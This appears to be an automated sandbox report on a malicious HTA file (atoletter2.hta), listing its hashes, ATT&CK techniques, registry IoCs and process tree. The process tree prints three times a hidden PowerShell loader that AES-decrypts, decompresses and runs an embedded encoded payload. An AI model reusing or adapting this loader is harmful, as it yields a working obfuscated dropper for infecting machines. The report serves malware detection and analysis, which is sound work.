3f04d3267f818beec7a5f29a7780282bdf862a71669230b796b77700a494b55d

Resubmissions

21/01/2025, 13:39

250121-qx27kswrck 10

21/01/2025, 11:57

250121-n4kvrsskfv 10

21/01/2025, 11:43

250121-nvpglaslfq 10

21/01/2025, 11:26

250121-njtbea1qcp 10

Analysis

max time kernel
122s
max time network
128s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
21/01/2025, 11:26

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

163.5.169.28/atoletter2.hta
Size

1.1MB
MD5

3aa22e06354205638a0560dfd95ba73d
SHA1

bd77bf64a070a8f233197e2db3cdef0879cc446d
SHA256

8867f18c416e402fa6c470e2fa207e2ff1809b69a450356bd8a8c854edea4dd5
SHA512

ce75e12481f9840666fc783bed155779d75845e0b81f5679dd5ea801ad359527b389b611ca11eda321fb28d77dc10089ebf073c41aa00e51b921ea0cc1c28b8b
SSDEEP

1536:qb0rlgqoroRgFUnAFzUbVlt9Ci5namr/l1vcmafSIm+lIWFjBoOuqpd2eWSFU4ww:qb0rlmrkgFUnAFgbVLFnG

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1644	powershell.exe
2864	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
1644	powershell.exe
1644	powershell.exe
1644	powershell.exe
2864	powershell.exe
2768	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1644	powershell.exe
Token: SeDebugPrivilege	2864	powershell.exe
Token: SeDebugPrivilege	2768	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2120 wrote to memory of 1644	2120	mshta.exe	30
PID 2120 wrote to memory of 1644	2120	mshta.exe	30
PID 2120 wrote to memory of 1644	2120	mshta.exe	30
PID 2120 wrote to memory of 1644	2120	mshta.exe	30
PID 1644 wrote to memory of 2744	1644	powershell.exe	32
PID 1644 wrote to memory of 2744	1644	powershell.exe	32
PID 1644 wrote to memory of 2744	1644	powershell.exe	32
PID 1644 wrote to memory of 2744	1644	powershell.exe	32
PID 2744 wrote to memory of 2864	2744	cmd.exe	34
PID 2744 wrote to memory of 2864	2744	cmd.exe	34
PID 2744 wrote to memory of 2864	2744	cmd.exe	34
PID 2744 wrote to memory of 2864	2744	cmd.exe	34
PID 2744 wrote to memory of 2768	2744	cmd.exe	35
PID 2744 wrote to memory of 2768	2744	cmd.exe	35
PID 2744 wrote to memory of 2768	2744	cmd.exe	35
PID 2744 wrote to memory of 2768	2744	cmd.exe	35

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\163.5.169.28\atoletter2.hta"
1⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2120
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $eAiTrF = 'AAAAAAAAAAAAAAAAAAAAADiqQn+L98Lnbhfc9YVCB5Orw3m2vSQ5edjYIN+I7uvxUInkLQQrayyFuEDHJcxIukMWd0J+xiCidgbbtXz/AjYGsEJg2jibnk4w8bauydN5lzL4aAMjtOBItY7+SmBQG3oqJAt2VltX67rB79Uvi7MiU4ClKSrClrBKSZQ1WJYozCT+Wp93LF80XerBDREAAq2O9LUZQqAejd8Ix11YvvXT97kmknLEjQWmB3RkGdxUt0Qrkat1GhBU0m8StQEZRFVqFQQXEJGStiKuv24k/PmX4/6Yi7tIREBqxX0K026b3LiyK8gD0Kto8uT3tDn23bzDMeGKoEkvvYf6UuB6tUS1KFv8u76v1MRw/alDGIB6CAkPj+gL/IkVL2qtN7K5f3AYEdN3ODeL37pWBeLRa1oMXDAnNS/YzrEQsesDnNCIPhnblwSn0a+aXAF1F4IzACK5RfADPEXMnksO3ODb8Sl17P4N+PmydJ0oZyAoMt+ovN/avgG6E35zlZsRAy28dGpJY02qWDiMCBRO6onbTDDbSLWjOrz5MWTKnl+4z2zEebriQVMiWUM7n8vGRcRREMwFNfu+psmwJeATihW7jsmsRfcaqHTGD6umlmxq4+h9K/0OfwvH33HPiMsS3cZ0trMFg1ZF5o1EvaSGNd8dIvpuABmQ02QI03BoeIk/BmtADEOGrMlr43KAba0GXjRpAQrOpGV55/3N9/5/s4lJAdFvQQCBkF7s6nrbFvIOkYWa2qKu1DUuGtpkC0/YaIMdvsKdublGMWXPJ4hYTNK2s6UOHMz50xCrWfIvoRuciE/gq9lYMyLwsWkbPUwyottwNdMVFySkspYwRxYniB4OhQRj4OJCZu4j83Jy/Mp52UFGO7QGWZTcS5O16A76CO3b4oc+GD9Fgh51AhdYsZ1IFM6R8cMfC+ZO56kw3pfWaFxUff+bOD5PiDmOOu/bQICppqE8SpdSLf1xOHtN/SH+xuet3eaT2vaYY0S3d6ia1QKm';$hFlQR = 'S2VSTnNLUUJiSXVXaUVKYmJFQUN6ZXZuQ1FZUkNmS3k=';$ueqbneh = New-Object 'System.Security.Cryptography.AesManaged';$ueqbneh.Mode = [System.Security.Cryptography.CipherMode]::ECB;$ueqbneh.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$ueqbneh.BlockSize = 128;$ueqbneh.KeySize = 256;$ueqbneh.Key = [System.Convert]::FromBase64String($hFlQR);$bleGb = [System.Convert]::FromBase64String($eAiTrF);$AvnmtSqS = $bleGb[0..15];$ueqbneh.IV = $AvnmtSqS;$kmIzocLDo = $ueqbneh.CreateDecryptor();$nYLAsPvwb = $kmIzocLDo.TransformFinalBlock($bleGb, 16, $bleGb.Length - 16);$ueqbneh.Dispose();$KorHQ = New-Object System.IO.MemoryStream( , $nYLAsPvwb );$cYVuxmc = New-Object System.IO.MemoryStream;$EoaxXywDe = New-Object System.IO.Compression.GzipStream $KorHQ, ([IO.Compression.CompressionMode]::Decompress);$EoaxXywDe.CopyTo( $cYVuxmc );$EoaxXywDe.Close();$KorHQ.Close();[byte[]] $pjaBnP = $cYVuxmc.ToArray();$ShHgsp = [System.Text.Encoding]::UTF8.GetString($pjaBnP);$ShHgsp | powershell - }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1644
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c powershell.exe $eAiTrF = 'AAAAAAAAAAAAAAAAAAAAADiqQn+L98Lnbhfc9YVCB5Orw3m2vSQ5edjYIN+I7uvxUInkLQQrayyFuEDHJcxIukMWd0J+xiCidgbbtXz/AjYGsEJg2jibnk4w8bauydN5lzL4aAMjtOBItY7+SmBQG3oqJAt2VltX67rB79Uvi7MiU4ClKSrClrBKSZQ1WJYozCT+Wp93LF80XerBDREAAq2O9LUZQqAejd8Ix11YvvXT97kmknLEjQWmB3RkGdxUt0Qrkat1GhBU0m8StQEZRFVqFQQXEJGStiKuv24k/PmX4/6Yi7tIREBqxX0K026b3LiyK8gD0Kto8uT3tDn23bzDMeGKoEkvvYf6UuB6tUS1KFv8u76v1MRw/alDGIB6CAkPj+gL/IkVL2qtN7K5f3AYEdN3ODeL37pWBeLRa1oMXDAnNS/YzrEQsesDnNCIPhnblwSn0a+aXAF1F4IzACK5RfADPEXMnksO3ODb8Sl17P4N+PmydJ0oZyAoMt+ovN/avgG6E35zlZsRAy28dGpJY02qWDiMCBRO6onbTDDbSLWjOrz5MWTKnl+4z2zEebriQVMiWUM7n8vGRcRREMwFNfu+psmwJeATihW7jsmsRfcaqHTGD6umlmxq4+h9K/0OfwvH33HPiMsS3cZ0trMFg1ZF5o1EvaSGNd8dIvpuABmQ02QI03BoeIk/BmtADEOGrMlr43KAba0GXjRpAQrOpGV55/3N9/5/s4lJAdFvQQCBkF7s6nrbFvIOkYWa2qKu1DUuGtpkC0/YaIMdvsKdublGMWXPJ4hYTNK2s6UOHMz50xCrWfIvoRuciE/gq9lYMyLwsWkbPUwyottwNdMVFySkspYwRxYniB4OhQRj4OJCZu4j83Jy/Mp52UFGO7QGWZTcS5O16A76CO3b4oc+GD9Fgh51AhdYsZ1IFM6R8cMfC+ZO56kw3pfWaFxUff+bOD5PiDmOOu/bQICppqE8SpdSLf1xOHtN/SH+xuet3eaT2vaYY0S3d6ia1QKm';$hFlQR = 'S2VSTnNLUUJiSXVXaUVKYmJFQUN6ZXZuQ1FZUkNmS3k=';$ueqbneh = New-Object 'System.Security.Cryptography.AesManaged';$ueqbneh.Mode = [System.Security.Cryptography.CipherMode]::ECB;$ueqbneh.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$ueqbneh.BlockSize = 128;$ueqbneh.KeySize = 256;$ueqbneh.Key = [System.Convert]::FromBase64String($hFlQR);$bleGb = [System.Convert]::FromBase64String($eAiTrF);$AvnmtSqS = $bleGb[0..15];$ueqbneh.IV = $AvnmtSqS;$kmIzocLDo = $ueqbneh.CreateDecryptor();$nYLAsPvwb = $kmIzocLDo.TransformFinalBlock($bleGb, 16, $bleGb.Length - 16);$ueqbneh.Dispose();$KorHQ = New-Object System.IO.MemoryStream( , $nYLAsPvwb );$cYVuxmc = New-Object System.IO.MemoryStream;$EoaxXywDe = New-Object System.IO.Compression.GzipStream $KorHQ, ([IO.Compression.CompressionMode]::Decompress);$EoaxXywDe.CopyTo( $cYVuxmc );$EoaxXywDe.Close();$KorHQ.Close();[byte[]] $pjaBnP = $cYVuxmc.ToArray();$ShHgsp = [System.Text.Encoding]::UTF8.GetString($pjaBnP);$ShHgsp | powershell -
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2744
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe $eAiTrF = 'AAAAAAAAAAAAAAAAAAAAADiqQn+L98Lnbhfc9YVCB5Orw3m2vSQ5edjYIN+I7uvxUInkLQQrayyFuEDHJcxIukMWd0J+xiCidgbbtXz/AjYGsEJg2jibnk4w8bauydN5lzL4aAMjtOBItY7+SmBQG3oqJAt2VltX67rB79Uvi7MiU4ClKSrClrBKSZQ1WJYozCT+Wp93LF80XerBDREAAq2O9LUZQqAejd8Ix11YvvXT97kmknLEjQWmB3RkGdxUt0Qrkat1GhBU0m8StQEZRFVqFQQXEJGStiKuv24k/PmX4/6Yi7tIREBqxX0K026b3LiyK8gD0Kto8uT3tDn23bzDMeGKoEkvvYf6UuB6tUS1KFv8u76v1MRw/alDGIB6CAkPj+gL/IkVL2qtN7K5f3AYEdN3ODeL37pWBeLRa1oMXDAnNS/YzrEQsesDnNCIPhnblwSn0a+aXAF1F4IzACK5RfADPEXMnksO3ODb8Sl17P4N+PmydJ0oZyAoMt+ovN/avgG6E35zlZsRAy28dGpJY02qWDiMCBRO6onbTDDbSLWjOrz5MWTKnl+4z2zEebriQVMiWUM7n8vGRcRREMwFNfu+psmwJeATihW7jsmsRfcaqHTGD6umlmxq4+h9K/0OfwvH33HPiMsS3cZ0trMFg1ZF5o1EvaSGNd8dIvpuABmQ02QI03BoeIk/BmtADEOGrMlr43KAba0GXjRpAQrOpGV55/3N9/5/s4lJAdFvQQCBkF7s6nrbFvIOkYWa2qKu1DUuGtpkC0/YaIMdvsKdublGMWXPJ4hYTNK2s6UOHMz50xCrWfIvoRuciE/gq9lYMyLwsWkbPUwyottwNdMVFySkspYwRxYniB4OhQRj4OJCZu4j83Jy/Mp52UFGO7QGWZTcS5O16A76CO3b4oc+GD9Fgh51AhdYsZ1IFM6R8cMfC+ZO56kw3pfWaFxUff+bOD5PiDmOOu/bQICppqE8SpdSLf1xOHtN/SH+xuet3eaT2vaYY0S3d6ia1QKm';$hFlQR = 'S2VSTnNLUUJiSXVXaUVKYmJFQUN6ZXZuQ1FZUkNmS3k=';$ueqbneh = New-Object 'System.Security.Cryptography.AesManaged';$ueqbneh.Mode = [System.Security.Cryptography.CipherMode]::ECB;$ueqbneh.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$ueqbneh.BlockSize = 128;$ueqbneh.KeySize = 256;$ueqbneh.Key = [System.Convert]::FromBase64String($hFlQR);$bleGb = [System.Convert]::FromBase64String($eAiTrF);$AvnmtSqS = $bleGb[0..15];$ueqbneh.IV = $AvnmtSqS;$kmIzocLDo = $ueqbneh.CreateDecryptor();$nYLAsPvwb = $kmIzocLDo.TransformFinalBlock($bleGb, 16, $bleGb.Length - 16);$ueqbneh.Dispose();$KorHQ = New-Object System.IO.MemoryStream( , $nYLAsPvwb );$cYVuxmc = New-Object System.IO.MemoryStream;$EoaxXywDe = New-Object System.IO.Compression.GzipStream $KorHQ, ([IO.Compression.CompressionMode]::Decompress);$EoaxXywDe.CopyTo( $cYVuxmc );$EoaxXywDe.Close();$KorHQ.Close();[byte[]] $pjaBnP = $cYVuxmc.ToArray();$ShHgsp = [System.Text.Encoding]::UTF8.GetString($pjaBnP);$ShHgsp
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2864
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2768

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
0ab532a6440fb11a72f46211e87bd272

SHA1
cdc38983c100951ad562a787425fb849518ae563

SHA256
085b8b53784fe16baef593fbab12de58f3c9a11ddeac573a53e36a1289283508

SHA512
92f49e89d560ffa272ddf4e0e09328a0aa31c0f40ae495df29f140813563a7dcc7726e198d53cf936e112cf3ddb42d474de0065f20c47e833b76c1b36c69b5c3

Download Submit
memory/1644-2-0x0000000002EB0000-0x0000000002EF0000-memory.dmp

Filesize
256KB

Download